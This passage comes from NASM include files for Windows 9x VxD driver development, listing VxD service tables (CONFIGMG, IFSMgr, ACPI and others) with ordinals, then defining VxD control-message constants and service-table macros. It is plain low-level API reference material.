Begin_Service_Table CONFIGMG ; 0x0033


CONFIGMG_Service _CONFIGMG_Get_Version ; 0x0000 ord
CONFIGMG_Service _CONFIGMG_Initialize ; 0x0001 ord
CONFIGMG_Service _CONFIGMG_Locate_DevNode ; 0x0002 ord
CONFIGMG_Service _CONFIGMG_Get_Parent ; 0x0003 ord
CONFIGMG_Service _CONFIGMG_Get_Child ; 0x0004 ord
CONFIGMG_Service _CONFIGMG_Get_Sibling ; 0x0005 ord
CONFIGMG_Service _CONFIGMG_Get_Device_ID_Size ; 0x0006 ord
CONFIGMG_Service _CONFIGMG_Get_Device_ID ; 0x0007 ord
CONFIGMG_Service _CONFIGMG_Get_Depth ; 0x0008 ord
CONFIGMG_Service _CONFIGMG_Get_Private_DWord ; 0x0009 ord
CONFIGMG_Service _CONFIGMG_Set_Private_DWord ; 0x000a ord
CONFIGMG_Service _CONFIGMG_Create_DevNode ; 0x000b ord
CONFIGMG_Service _CONFIGMG_Query_Remove_SubTree ; 0x000c ord
CONFIGMG_Service _CONFIGMG_Remove_SubTree ; 0x000d ord
CONFIGMG_Service _CONFIGMG_Register_Device_Driver ; 0x000e ord
CONFIGMG_Service _CONFIGMG_Register_Enumerator ; 0x000f ord
CONFIGMG_Service _CONFIGMG_Register_Arbitrator ; 0x0010 ord
CONFIGMG_Service _CONFIGMG_Deregister_Arbitrator ; 0x0011 ord
CONFIGMG_Service _CONFIGMG_Query_Arbitrator_Free_Size ; 0x0012 ord
CONFIGMG_Service _CONFIGMG_Query_Arbitrator_Free_Data ; 0x0013 ord
CONFIGMG_Service _CONFIGMG_Sort_NodeList ; 0x0014 ord
CONFIGMG_Service _CONFIGMG_Yield ; 0x0015 ord
CONFIGMG_Service _CONFIGMG_Lock ; 0x0016 ord
CONFIGMG_Service _CONFIGMG_Unlock ; 0x0017 ord
CONFIGMG_Service _CONFIGMG_Add_Empty_Log_Conf ; 0x0018 ord
CONFIGMG_Service _CONFIGMG_Free_Log_Conf ; 0x0019 ord
CONFIGMG_Service _CONFIGMG_Get_First_Log_Conf ; 0x001a ord
CONFIGMG_Service _CONFIGMG_Get_Next_Log_Conf ; 0x001b ord
CONFIGMG_Service _CONFIGMG_Add_Res_Des ; 0x001c ord
CONFIGMG_Service _CONFIGMG_Modify_Res_Des ; 0x001d ord
CONFIGMG_Service _CONFIGMG_Free_Res_Des ; 0x001e ord
CONFIGMG_Service _CONFIGMG_Get_Next_Res_Des ; 0x001f ord
CONFIGMG_Service _CONFIGMG_Get_Performance_Info ; 0x0020 ord
CONFIGMG_Service _CONFIGMG_Get_Res_Des_Data_Size ; 0x0021 ord
CONFIGMG_Service _CONFIGMG_Get_Res_Des_Data ; 0x0022 ord
CONFIGMG_Service _CONFIGMG_Process_Events_Now ; 0x0023 ord
CONFIGMG_Service _CONFIGMG_Create_Range_List ; 0x0024 ord
CONFIGMG_Service _CONFIGMG_Add_Range ; 0x0025 ord
CONFIGMG_Service _CONFIGMG_Delete_Range ; 0x0026 ord
CONFIGMG_Service _CONFIGMG_Test_Range_Available ; 0x0027 ord
CONFIGMG_Service _CONFIGMG_Dup_Range_List ; 0x0028 ord
CONFIGMG_Service _CONFIGMG_Free_Range_List ; 0x0029 ord
CONFIGMG_Service _CONFIGMG_Invert_Range_List ; 0x002a ord
CONFIGMG_Service _CONFIGMG_Intersect_Range_List ; 0x002b ord
CONFIGMG_Service _CONFIGMG_First_Range ; 0x002c ord
CONFIGMG_Service _CONFIGMG_Next_Range ; 0x002d ord
CONFIGMG_Service _CONFIGMG_Dump_Range_List ; 0x002e ord
CONFIGMG_Service _CONFIGMG_Load_DLVxDs ; 0x002f ord
CONFIGMG_Service _CONFIGMG_Get_DDBs ; 0x0030 ord
CONFIGMG_Service _CONFIGMG_Get_CRC_CheckSum ; 0x0031 ord
CONFIGMG_Service _CONFIGMG_Register_DevLoader ; 0x0032 ord
CONFIGMG_Service _CONFIGMG_Reenumerate_DevNode ; 0x0033 ord
CONFIGMG_Service _CONFIGMG_Setup_DevNode ; 0x0034 ord
CONFIGMG_Service _CONFIGMG_Reset_Children_Marks ; 0x0035 ord
CONFIGMG_Service _CONFIGMG_Get_DevNode_Status ; 0x0036 ord
CONFIGMG_Service _CONFIGMG_Remove_Unmarked_Children ; 0x0037 ord
CONFIGMG_Service _CONFIGMG_ISAPNP_To_CM ; 0x0038 ord
CONFIGMG_Service _CONFIGMG_CallBack_Device_Driver ; 0x0039 ord
CONFIGMG_Service _CONFIGMG_CallBack_Enumerator ; 0x003a ord
CONFIGMG_Service _CONFIGMG_Get_Alloc_Log_Conf ; 0x003b ord
CONFIGMG_Service _CONFIGMG_Get_DevNode_Key_Size ; 0x003c ord
CONFIGMG_Service _CONFIGMG_Get_DevNode_Key ; 0x003d ord
CONFIGMG_Service _CONFIGMG_Read_Registry_Value ; 0x003e ord
CONFIGMG_Service _CONFIGMG_Write_Registry_Value ; 0x003f ord
CONFIGMG_Service _CONFIGMG_Disable_DevNode ; 0x0040 ord
CONFIGMG_Service _CONFIGMG_Enable_DevNode ; 0x0041 ord
CONFIGMG_Service _CONFIGMG_Move_DevNode ; 0x0042 ord
CONFIGMG_Service _CONFIGMG_Set_Bus_Info ; 0x0043 ord
CONFIGMG_Service _CONFIGMG_Get_Bus_Info ; 0x0044 ord
CONFIGMG_Service _CONFIGMG_Set_HW_Prof ; 0x0045 ord
CONFIGMG_Service _CONFIGMG_Recompute_HW_Prof ; 0x0046 ord
CONFIGMG_Service _CONFIGMG_Query_Change_HW_Prof ; 0x0047 ord
CONFIGMG_Service _CONFIGMG_Get_Device_Driver_Private_DWord ; 0x0048 ord
CONFIGMG_Service _CONFIGMG_Set_Device_Driver_Private_DWord ; 0x0049 ord
CONFIGMG_Service _CONFIGMG_Get_HW_Prof_Flags ; 0x004a ord
CONFIGMG_Service _CONFIGMG_Set_HW_Prof_Flags ; 0x004b ord
CONFIGMG_Service _CONFIGMG_Read_Registry_Log_Confs ; 0x004c ord
CONFIGMG_Service _CONFIGMG_Run_Detection ; 0x004d ord
CONFIGMG_Service _CONFIGMG_Call_At_Appy_Time ; 0x004e ord
CONFIGMG_Service _CONFIGMG_Fail_Change_HW_Prof ; 0x004f ord
CONFIGMG_Service _CONFIGMG_Set_Private_Problem ; 0x0050 ord
CONFIGMG_Service _CONFIGMG_Debug_DevNode ; 0x0051 ord
CONFIGMG_Service _CONFIGMG_Get_Hardware_Profile_Info ; 0x0052 ord
CONFIGMG_Service _CONFIGMG_Register_Enumerator_Function ; 0x0053 ord
CONFIGMG_Service _CONFIGMG_Call_Enumerator_Function ; 0x0054 ord
CONFIGMG_Service _CONFIGMG_Add_ID ; 0x0055 ord
CONFIGMG_Service _CONFIGMG_Find_Range ; 0x0056 ord
CONFIGMG_Service _CONFIGMG_Get_Global_State ; 0x0057 ord
CONFIGMG_Service _CONFIGMG_Broadcast_Device_Change_Message ; 0x0058 ord
CONFIGMG_Service _CONFIGMG_Call_DevNode_Handler ; 0x0059 ord
CONFIGMG_Service _CONFIGMG_Remove_Reinsert_All ; 0x005a ord
CONFIGMG_Service _CONFIGMG_Change_DevNode_Status ; 0x005b ord
CONFIGMG_Service _CONFIGMG_Reprocess_DevNode ; 0x005c ord
CONFIGMG_Service _CONFIGMG_Assert_Structure ; 0x005d ord
CONFIGMG_Service _CONFIGMG_Discard_Boot_Log_Conf ; 0x005e ord
CONFIGMG_Service _CONFIGMG_Set_Dependent_DevNode ; 0x005f ord
CONFIGMG_Service _CONFIGMG_Get_Dependent_DevNode ; 0x0060 ord
CONFIGMG_Service _CONFIGMG_Refilter_DevNode ; 0x0061 ord
CONFIGMG_Service _CONFIGMG_Merge_Range_List ; 0x0062 ord
CONFIGMG_Service _CONFIGMG_Substract_Range_List ; 0x0063 ord
CONFIGMG_Service _CONFIGMG_Set_DevNode_PowerState ; 0x0064 ord
CONFIGMG_Service _CONFIGMG_Get_DevNode_PowerState ; 0x0065 ord
CONFIGMG_Service _CONFIGMG_Set_DevNode_PowerCapabilities ; 0x0066 ord
CONFIGMG_Service _CONFIGMG_Get_DevNode_PowerCapabilities ; 0x0067 ord
CONFIGMG_Service _CONFIGMG_Read_Range_List ; 0x0068 ord
CONFIGMG_Service _CONFIGMG_Write_Range_List ; 0x0069 ord
CONFIGMG_Service _CONFIGMG_Get_Set_Log_Conf_Priority ; 0x006a ord
CONFIGMG_Service _CONFIGMG_Support_Share_Irq ; 0x006b ord
CONFIGMG_Service _CONFIGMG_Get_Parent_Structure ; 0x006c ord
CONFIGMG_Service _CONFIGMG_Register_DevNode_For_Idle_Detection ; 0x006d ord
CONFIGMG_Service _CONFIGMG_CM_To_ISAPNP ; 0x006e ord
CONFIGMG_Service _CONFIGMG_Get_DevNode_Handler ; 0x006f ord
CONFIGMG_Service _CONFIGMG_Detect_Resource_Conflict ; 0x0070 ord
CONFIGMG_Service _CONFIGMG_Get_Device_Interface_List ; 0x0071 ord
CONFIGMG_Service _CONFIGMG_Get_Device_Interface_List_Size ; 0x0072 ord
CONFIGMG_Service _CONFIGMG_Get_Conflict_Info ; 0x0073 ord
CONFIGMG_Service _CONFIGMG_Add_Remove_DevNode_Property ; 0x0074 ord
CONFIGMG_Service _CONFIGMG_CallBack_At_Appy_Time ; 0x0075 ord
CONFIGMG_Service _CONFIGMG_Register_Device_Interface ; 0x0076 ord
CONFIGMG_Service _CONFIGMG_System_Device_Power_State_Mapping ; 0x0077 ord
CONFIGMG_Service _CONFIGMG_Get_Arbitrator_Info ; 0x0078 ord
CONFIGMG_Service _CONFIGMG_Waking_Up_From_DevNode ; 0x0079 ord
CONFIGMG_Service _CONFIGMG_Set_DevNode_Problem ; 0x007a ord
CONFIGMG_Service _CONFIGMG_Get_Device_Interface_Alias ; 0x007b ord
End_Service_Table CONFIGMG

Begin_Service_Table DWCFGMG ; 0x0034


End_Service_Table DWCFGMG

Begin_Service_Table SCSIPORT ; 0x0035


End_Service_Table SCSIPORT

Begin_Service_Table VFBACKUP ; 0x0036


VFBACKUP_Service VFBACKUP_Get_Version ; 0x0000 ord
VFBACKUP_Service VFBACKUP_Lock_NEC ; 0x0001 ord
VFBACKUP_Service VFBACKUP_UnLock_NEC ; 0x0002 ord
VFBACKUP_Service VFBACKUP_Register_NEC ; 0x0003 ord
VFBACKUP_Service VFBACKUP_Register_VFD ; 0x0004 ord
VFBACKUP_Service VFBACKUP_Lock_All_Ports ; 0x0005 ord
VFBACKUP_Service _VFBACKUP_Set_Port_Mask ; 0x0006 ord
VFBACKUP_Service _VFBACKUP_Register_Floppy ; 0x0007 ord
VFBACKUP_Service _VFBACKUP_Remove_Floppy ; 0x0008 ord
VFBACKUP_Service VFBACKUP_UnRegister_NEC ; 0x0009 ord
End_Service_Table VFBACKUP

Begin_Service_Table ENABLE ; 0x0037


ENABLE_Service VMINI_GetVersion ; 0x0000 ord
ENABLE_Service VMINI_Update ; 0x0001 ord
ENABLE_Service VMINI_Status ; 0x0002 ord
ENABLE_Service VMINI_DisplayError ; 0x0003 ord
ENABLE_Service VMINI_SetTimeStamp ; 0x0004 ord
ENABLE_Service VMINI_Siren ; 0x0005 ord
ENABLE_Service VMINI_RegisterAccess ; 0x0006 ord
ENABLE_Service VMINI_GetData ; 0x0007 ord
ENABLE_Service VMINI_ShutDownItem ; 0x0008 ord
ENABLE_Service VMINI_RegisterSK ; 0x0009 ord
End_Service_Table ENABLE

Begin_Service_Table VCOND ; 0x0038


VCOND_Service VCOND_Get_Version ; 0x0000 ord
VCOND_Service VCOND_Launch_ConApp_Inherited ; 0x0001 ord
VCOND_Service VCOND_Get_ConsoleInfo ; 0x0002 ord
VCOND_Service VCOND_GrbRepaintRect ; 0x0003 ord
VCOND_Service VCOND_GrbSetCursorPosition ; 0x0004 ord
VCOND_Service VCOND_GrbNotifyWOA ; 0x0005 ord
End_Service_Table VCOND

Begin_Service_Table ISAPNP ; 0x003c


End_Service_Table ISAPNP

Begin_Service_Table BIOS ; 0x003d


End_Service_Table BIOS

Begin_Service_Table IFSMgr ; 0x0040


IFSMgr_Service IFSMgr_Get_Version ; 0x0000 ord
IFSMgr_Service IFSMgr_RegisterMount ; 0x0001 ord
IFSMgr_Service IFSMgr_RegisterNet ; 0x0002 ord
IFSMgr_Service IFSMgr_RegisterMailSlot ; 0x0003 ord
IFSMgr_Service IFSMgr_Attach ; 0x0004 ord
IFSMgr_Service IFSMgr_Detach ; 0x0005 ord
IFSMgr_Service IFSMgr_Get_NetTime ; 0x0006 ord
IFSMgr_Service IFSMgr_Get_DOSTime ; 0x0007 ord
IFSMgr_Service IFSMgr_SetupConnection ; 0x0008 ord
IFSMgr_Service IFSMgr_DerefConnection ; 0x0009 ord
IFSMgr_Service IFSMgr_ServerDOSCall ; 0x000a ord
IFSMgr_Service IFSMgr_CompleteAsync ; 0x000b ord
IFSMgr_Service IFSMgr_RegisterHeap ; 0x000c ord
IFSMgr_Service IFSMgr_GetHeap ; 0x000d ord
IFSMgr_Service IFSMgr_RetHeap ; 0x000e ord
IFSMgr_Service IFSMgr_CheckHeap ; 0x000f ord
IFSMgr_Service IFSMgr_CheckHeapItem ; 0x0010 ord
IFSMgr_Service IFSMgr_FillHeapSpare ; 0x0011 ord
IFSMgr_Service IFSMgr_Block ; 0x0012 ord
IFSMgr_Service IFSMgr_Wakeup ; 0x0013 ord
IFSMgr_Service IFSMgr_Yield ; 0x0014 ord
IFSMgr_Service IFSMgr_SchedEvent ; 0x0015 ord
IFSMgr_Service IFSMgr_QueueEvent ; 0x0016 ord
IFSMgr_Service IFSMgr_KillEvent ; 0x0017 ord
IFSMgr_Service IFSMgr_FreeIOReq ; 0x0018 ord
IFSMgr_Service IFSMgr_MakeMailSlot ; 0x0019 ord
IFSMgr_Service IFSMgr_DeleteMailSlot ; 0x001a ord
IFSMgr_Service IFSMgr_WriteMailSlot ; 0x001b ord
IFSMgr_Service IFSMgr_PopUp ; 0x001c ord
IFSMgr_Service IFSMgr_printf ; 0x001d ord
IFSMgr_Service IFSMgr_AssertFailed ; 0x001e ord
IFSMgr_Service IFSMgr_LogEntry ; 0x001f ord
IFSMgr_Service IFSMgr_DebugMenu ; 0x0020 ord
IFSMgr_Service IFSMgr_DebugVars ; 0x0021 ord
IFSMgr_Service IFSMgr_GetDebugString ; 0x0022 ord
IFSMgr_Service IFSMgr_GetDebugHexNum ; 0x0023 ord
IFSMgr_Service IFSMgr_NetFunction ; 0x0024 ord
IFSMgr_Service IFSMgr_DoDelAllUses ; 0x0025 ord
IFSMgr_Service IFSMgr_SetErrString ; 0x0026 ord
IFSMgr_Service IFSMgr_GetErrString ; 0x0027 ord
IFSMgr_Service IFSMgr_SetReqHook ; 0x0028 ord
IFSMgr_Service IFSMgr_SetPathHook ; 0x0029 ord
IFSMgr_Service IFSMgr_UseAdd ; 0x002a ord
IFSMgr_Service IFSMgr_UseDel ; 0x002b ord
IFSMgr_Service IFSMgr_InitUseAdd ; 0x002c ord
IFSMgr_Service IFSMgr_ChangeDir ; 0x002d ord
IFSMgr_Service IFSMgr_DelAllUses ; 0x002e ord
IFSMgr_Service IFSMgr_CDROM_Attach ; 0x002f ord
IFSMgr_Service IFSMgr_CDROM_Detach ; 0x0030 ord
IFSMgr_Service IFSMgr_Win32DupHandle ; 0x0031 ord
IFSMgr_Service IFSMgr_Ring0_FileIO ; 0x0032 ord
IFSMgr_Service IFSMgr_Win32_Get_Ring0_Handle ; 0x0033 ord
IFSMgr_Service IFSMgr_Get_Drive_Info ; 0x0034 ord
IFSMgr_Service IFSMgr_Ring0GetDriveInfo ; 0x0035 ord
IFSMgr_Service IFSMgr_BlockNoEvents ; 0x0036 ord
IFSMgr_Service IFSMgr_NetToDosTime ; 0x0037 ord
IFSMgr_Service IFSMgr_DosToNetTime ; 0x0038 ord
IFSMgr_Service IFSMgr_DosToWin32Time ; 0x0039 ord
IFSMgr_Service IFSMgr_Win32ToDosTime ; 0x003a ord
IFSMgr_Service IFSMgr_NetToWin32Time ; 0x003b ord
IFSMgr_Service IFSMgr_Win32ToNetTime ; 0x003c ord
IFSMgr_Service IFSMgr_MetaMatch ; 0x003d ord
IFSMgr_Service IFSMgr_TransMatch ; 0x003e ord
IFSMgr_Service IFSMgr_CallProvider ; 0x003f ord
IFSMgr_Service UniToBCS ; 0x0040 ord
IFSMgr_Service UniToBCSPath ; 0x0041 ord
IFSMgr_Service BCSToUni ; 0x0042 ord
IFSMgr_Service UniToUpper ; 0x0043 ord
IFSMgr_Service UniCharToOEM ; 0x0044 ord
IFSMgr_Service CreateBasis ; 0x0045 ord
IFSMgr_Service MatchBasisName ; 0x0046 ord
IFSMgr_Service AppendBasisTail ; 0x0047 ord
IFSMgr_Service FcbToShort ; 0x0048 ord
IFSMgr_Service ShortToFcb ; 0x0049 ord
IFSMgr_Service IFSMgr_ParsePath ; 0x004a ord
IFSMgr_Service Query_PhysLock ; 0x004b ord
IFSMgr_Service _VolFlush ; 0x004c ord
IFSMgr_Service NotifyVolumeArrival ; 0x004d ord
IFSMgr_Service NotifyVolumeRemoval ; 0x004e ord
IFSMgr_Service QueryVolumeRemoval ; 0x004f ord
IFSMgr_Service IFSMgr_FSDUnmountCFSD ; 0x0050 ord
IFSMgr_Service IFSMgr_GetConversionTablePtrs ; 0x0051 ord
IFSMgr_Service IFSMgr_CheckAccessConflict ; 0x0052 ord
IFSMgr_Service IFSMgr_LockFile ; 0x0053 ord
IFSMgr_Service IFSMgr_UnlockFile ; 0x0054 ord
IFSMgr_Service IFSMgr_RemoveLocks ; 0x0055 ord
IFSMgr_Service IFSMgr_CheckLocks ; 0x0056 ord
IFSMgr_Service IFSMgr_CountLocks ; 0x0057 ord
IFSMgr_Service IFSMgr_ReassignLockFileInst ; 0x0058 ord
IFSMgr_Service IFSMgr_UnassignLockList ; 0x0059 ord
IFSMgr_Service IFSMgr_MountChildVolume ; 0x005a ord
IFSMgr_Service IFSMgr_UnmountChildVolume ; 0x005b ord
IFSMgr_Service IFSMgr_SwapDrives ; 0x005c ord
IFSMgr_Service IFSMgr_FSDMapFHtoIOREQ ; 0x005d ord
IFSMgr_Service IFSMgr_FSDParsePath ; 0x005e ord
IFSMgr_Service IFSMgr_FSDAttachSFT ; 0x005f ord
IFSMgr_Service IFSMgr_GetTimeZoneBias ; 0x0060 ord
IFSMgr_Service IFSMgr_PNPEvent ; 0x0061 ord
IFSMgr_Service IFSMgr_RegisterCFSD ; 0x0062 ord
IFSMgr_Service IFSMgr_Win32MapExtendedHandleToSFT ; 0x0063 ord
IFSMgr_Service IFSMgr_DbgSetFileHandleLimit ; 0x0064 ord
IFSMgr_Service IFSMgr_Win32MapSFTToExtendedHandle ; 0x0065 ord
IFSMgr_Service IFSMgr_FSDGetCurrentDrive ; 0x0066 ord
IFSMgr_Service IFSMgr_InstallFileSystemApiHook ; 0x0067 ord
IFSMgr_Service IFSMgr_RemoveFileSystemApiHook ; 0x0068 ord
IFSMgr_Service IFSMgr_RunScheduledEvents ; 0x0069 ord
IFSMgr_Service IFSMgr_CheckDelResource ; 0x006a ord
IFSMgr_Service IFSMgr_Win32GetVMCurdir ; 0x006b ord
IFSMgr_Service IFSMgr_SetupFailedConnection ; 0x006c ord
IFSMgr_Service _GetMappedErr ; 0x006d ord
IFSMgr_Service ShortToLossyFcb ; 0x006e ord
IFSMgr_Service IFSMgr_GetLockState ; 0x006f ord
IFSMgr_Service BcsToBcs ; 0x0070 ord
IFSMgr_Service IFSMgr_SetLoopback ; 0x0071 ord
IFSMgr_Service IFSMgr_ClearLoopback ; 0x0072 ord
IFSMgr_Service IFSMgr_ParseOneElement ; 0x0073 ord
IFSMgr_Service BcsToBcsUpper ; 0x0074 ord
IFSMgr_Service IFSMgr_DeregisterFSD ; 0x0075 ord
IFSMgr_Service IFSMgr_RegisterFSDWithPriority ; 0x0076 ord
IFSMgr_Service IFSMgr_Get_DOSTimeRounded ; 0x0077 ord
IFSMgr_Service _LongToFcbOem ; 0x0078 ord
IFSMgr_Service IFSMgr_GetRing0FileHandle ; 0x0079 ord
IFSMgr_Service IFSMgr_UpdateTimezoneInfo ; 0x007a ord
IFSMgr_Service IFSMgr_Ring0IsCPSingleByte ; 0x007b ord
End_Service_Table IFSMgr

Begin_Service_Table VCDFSD ; 0x0041


End_Service_Table VCDFSD

Begin_Service_Table MRCI2 ; 0x0042


End_Service_Table MRCI2

Begin_Service_Table PCI ; 0x0043


PCI_Service _PCI_Get_Version ; 0x0000 ord
PCI_Service _PCI_Read_Config ; 0x0001 ord
PCI_Service _PCI_Write_Config ; 0x0002 ord
PCI_Service _PCI_Lock_Unlock ; 0x0003 ord
End_Service_Table PCI

Begin_Service_Table PELOADER ; 0x0044


End_Service_Table PELOADER

Begin_Service_Table EISA ; 0x0045


End_Service_Table EISA

Begin_Service_Table DRAGCLI ; 0x0046


End_Service_Table DRAGCLI

Begin_Service_Table DRAGSRV ; 0x0047


End_Service_Table DRAGSRV

Begin_Service_Table PERF ; 0x0048


End_Service_Table PERF

Begin_Service_Table AWREDIR ; 0x0049


End_Service_Table AWREDIR

Begin_Service_Table DDS ; 0x004a


End_Service_Table DDS

Begin_Service_Table NTKERN ; 0x004b


NTKERN_Service _NTKERN_Get_Version ; 0x0000 ord
NTKERN_Service _NtKernCreateFile ; 0x0001 ord
NTKERN_Service _NtKernClose ; 0x0002 ord
NTKERN_Service _NtKernReadFile ; 0x0003 ord
NTKERN_Service _NtKernWriteFile ; 0x0004 ord
NTKERN_Service _NtKernDeviceIoControl ; 0x0005 ord
NTKERN_Service _NtKernGetWorkerThread ; 0x0006 ord
NTKERN_Service _NtKernLoadDriver ; 0x0007 ord
NTKERN_Service _NtKernQueueWorkItem ; 0x0008 ord
NTKERN_Service _NtKernPhysicalDeviceObjectToDevNode ; 0x0009 ord
NTKERN_Service _NtKernSetPhysicalCacheTypeRange ; 0x000a ord
NTKERN_Service _NtKernWin9XLoadDriver ; 0x000b ord
NTKERN_Service _NtKernCancelIoFile ; 0x000c ord
NTKERN_Service _NtKernGetVPICDHandleFromInterruptObj ; 0x000d ord
NTKERN_Service _NtKernInternalDeviceIoControl ; 0x000e ord
End_Service_Table NTKERN

Begin_Service_Table VDOSKEYD ; 0x004b


End_Service_Table VDOSKEYD

Begin_Service_Table ACPI ; 0x004c


ACPI_Service ACPI_GetVersion ; 0x0000 ord
ACPI_Service _ACPI_SetSystemPowerState ; 0x0001 ord
ACPI_Service _ACPI_SetTimingMode ; 0x0002 ord
ACPI_Service _ACPI_RegisterOpRegionCookedHandler ; 0x0003 ord
ACPI_Service _ACPI_Set_RTC ; 0x0004 ord
ACPI_Service _ACPI_GetTimingMode ; 0x0005 ord
ACPI_Service _ACPI_GetTaskFile ; 0x0006 ord
ACPI_Service _ACPI_WalkNameSpace ; 0x0007 ord
ACPI_Service _ACPI_GetObject ; 0x0008 ord
ACPI_Service _ACPI_NameSpaceToDevNode ; 0x0009 ord
ACPI_Service _ACPI_DevNodeToNameSpace ; 0x000a ord
ACPI_Service _ACPI_RunControlMethod ; 0x000b ord
ACPI_Service _ACPI_PrepareForSleeping ; 0x000c ord
ACPI_Service _ACPI_PrepareForResume ; 0x000d ord
ACPI_Service _ACPI_SystemShutdown ; 0x000e ord
ACPI_Service _ACPI_EvalPackageElement ; 0x000f ord
ACPI_Service _ACPI_EvalPkgDataElement ; 0x0010 ord
ACPI_Service _ACPI_FreeDataBuffs ; 0x0011 ord
ACPI_Service _ACPI_GetRootSystemDescriptorTable ; 0x0012 ord
ACPI_Service _ACPI_Get_RTC ; 0x0013 ord
ACPI_Service _ACPI_GetNameSpaceObject ; 0x0014 ord
ACPI_Service _ACPI_IdentifyDebuggerCommInfo ; 0x0015 ord
ACPI_Service _ACPI_SetTimingModeEx ; 0x0016 ord
ACPI_Service _ACPI_GetTimingModeEx ; 0x0017 ord
ACPI_Service _ACPI_GetIDEPMComplianceLevel ; 0x0018 ord
ACPI_Service _ACPI_FreeTaskFileBuffer ; 0x0019 ord
ACPI_Service _ACPI_ResumeComplete ; 0x001a ord
End_Service_Table ACPI

Begin_Service_Table UDF ; 0x004d


End_Service_Table UDF

Begin_Service_Table SMCLIB ; 0x004e


End_Service_Table SMCLIB

Begin_Service_Table ETEN ; 0x0060


End_Service_Table ETEN

Begin_Service_Table CHBIOS ; 0x0061


End_Service_Table CHBIOS

Begin_Service_Table VMSGD ; 0x0062


End_Service_Table VMSGD

Begin_Service_Table VPPID ; 0x0063


End_Service_Table VPPID

Begin_Service_Table VIME ; 0x0064


End_Service_Table VIME

Begin_Service_Table VHBIOSD ; 0x0065


End_Service_Table VHBIOSD

%endif ; INCLUDED_WINDDK_INC__
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[WINDDK.INC]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[VXDN.INC]ÄÄÄ
;////////////////////////////////////////////////////////////
;// vxdn.inc
;//
;// VxD definitions for NASM
;//
;// Collective effort of fOSSiL and The Owl =)
;//
;// 06-Aug-1999 fOSSiL Initial version
;// 16-Jan-2000 The Owl bunch of structs and equates
;// 16-Jan-2000 fOSSiL Separated Auto-generated stuff from hand-made, better MASM-compat
;// 18-Jan-2000 The Owl modified DDB builder macro

%ifndef INCLUDED_VXDN_INC
%define INCLUDED_VXDN_INC

DDK_VERSION EQU 0x0400


UNDEFINED_DEVICE_ID EQU 0x0000
UNDEFINED_INIT_ORDER EQU 0x80000000

SYS_CRITICAL_INIT EQU 0000H


DEVICE_INIT EQU 0001H
INIT_COMPLETE EQU 0002H
SYS_VM_INIT EQU 0003H
SYS_VM_TERMINATE EQU 0004H
SYSTEM_EXIT EQU 0005H
SYS_CRITICAL_EXIT EQU 0006H
CREATE_VM EQU 0007H
VM_CRITICAL_INIT EQU 0008H
VM_INIT EQU 0009H
VM_TERMINATE EQU 000AH
VM_NOT_EXECUTEABLE EQU 000BH
DESTROY_VM EQU 000CH

VNE_CRASHED_BIT EQU 00H


VNE_CRASHED EQU (1 << VNE_CRASHED_BIT)
VNE_NUKED_BIT EQU 01H
VNE_NUKED EQU (1 << VNE_NUKED_BIT)
VNE_CREATEFAIL_BIT EQU 02H
VNE_CREATEFAIL EQU (1 << VNE_CREATEFAIL_BIT)
VNE_CRINITFAIL_BIT EQU 03H
VNE_CRINITFAIL EQU (1 << VNE_CRINITFAIL_BIT)
VNE_INITFAIL_BIT EQU 04H
VNE_INITFAIL EQU (1 << VNE_INITFAIL_BIT)
VNE_CLOSED_BIT EQU 05H
VNE_CLOSED EQU (1 << VNE_CLOSED_BIT)

VM_SUSPEND EQU 000DH


VM_RESUME EQU 000EH
SET_DEVICE_FOCUS EQU 000FH
BEGIN_MESSAGE_MODE EQU 0010H
END_MESSAGE_MODE EQU 0011H
REBOOT_PROCESSOR EQU 0012H
QUERY_DESTROY EQU 0013H
DEBUG_QUERY EQU 0014H
BEGIN_PM_APP EQU 0015H

BPA_32_BIT EQU 01H


BPA_32_BIT_FLAG EQU 1

END_PM_APP EQU 0016H


DEVICE_REBOOT_NOTIFY EQU 0017H
CRIT_REBOOT_NOTIFY EQU 0018H
CLOSE_VM_NOTIFY EQU 0019H
POWER_EVENT EQU 001AH
SYS_DYNAMIC_DEVICE_INIT EQU 001BH
SYS_DYNAMIC_DEVICE_EXIT EQU 001CH
CREATE_THREAD EQU 001DH
THREAD_INIT EQU 001EH
TERMINATE_THREAD EQU 001FH
THREAD_NOT_EXECUTEABLE EQU 0020H
DESTROY_THREAD EQU 0021H
PNP_NEW_DEVNODE EQU 0022H
W32_DEVICEIOCONTROL EQU 0023H

DIOC_GETVERSION EQU 0H
DIOC_OPEN EQU DIOC_GETVERSION
DIOC_CLOSEHANDLE EQU -1

SYS_VM_TERMINATE2 EQU 0024H


SYSTEM_EXIT2 EQU 0025H
SYS_CRITICAL_EXIT2 EQU 0026H
VM_TERMINATE2 EQU 0027H
VM_NOT_EXECUTEABLE2 EQU 0028H
DESTROY_VM2 EQU 0029H
VM_SUSPEND2 EQU 002AH
END_MESSAGE_MODE2 EQU 002BH
END_PM_APP2 EQU 002CH
DEVICE_REBOOT_NOTIFY2 EQU 002DH
CRIT_REBOOT_NOTIFY2 EQU 002EH
CLOSE_VM_NOTIFY2 EQU 002FH
GET_CONTENTION_HANDLER EQU 0030H
KERNEL32_INITIALIZED EQU 0031H
KERNEL32_SHUTDOWN EQU 0032H
CREATE_PROCESS EQU 0033H
DESTROY_PROCESS EQU 0034H
SYS_DYNAMIC_DEVICE_REINIT EQU 0035H
SYS_POWER_DOWN EQU 0036H
MAX_SYSTEM_CONTROL EQU 0036H

BEGIN_RESERVED_PRIVATE_SYSTEM_CONTROL EQU 70000000H


END_RESERVED_PRIVATE_SYSTEM_CONTROL EQU 7FFFFFFFH

%macro VxD_Service 2
@@%2 EQU (%1_Device_ID << 16) | __Cur_Service_Num__
%assign __Cur_Service_Num__ (__Cur_Service_Num__ + 1)
%ifdef Create_Service_Table_%1
dd %2
%endif
%endmacro

%macro Begin_Service_Table 1
%assign __Cur_Service_Num__ 0
%define %1_Service VxD_Service %1,

%ifdef Create_Service_Table_%1
[segment _LDATA]
%1_Service_Table:
%endif
%endmacro

%macro End_Service_Table 1
Num_%1_Services equ __Cur_Service_Num__
%undef __Cur_Service_Num__
%undef %1_Service
%ifdef Create_Service_Table_%1
__SECT__
%endif
%endmacro

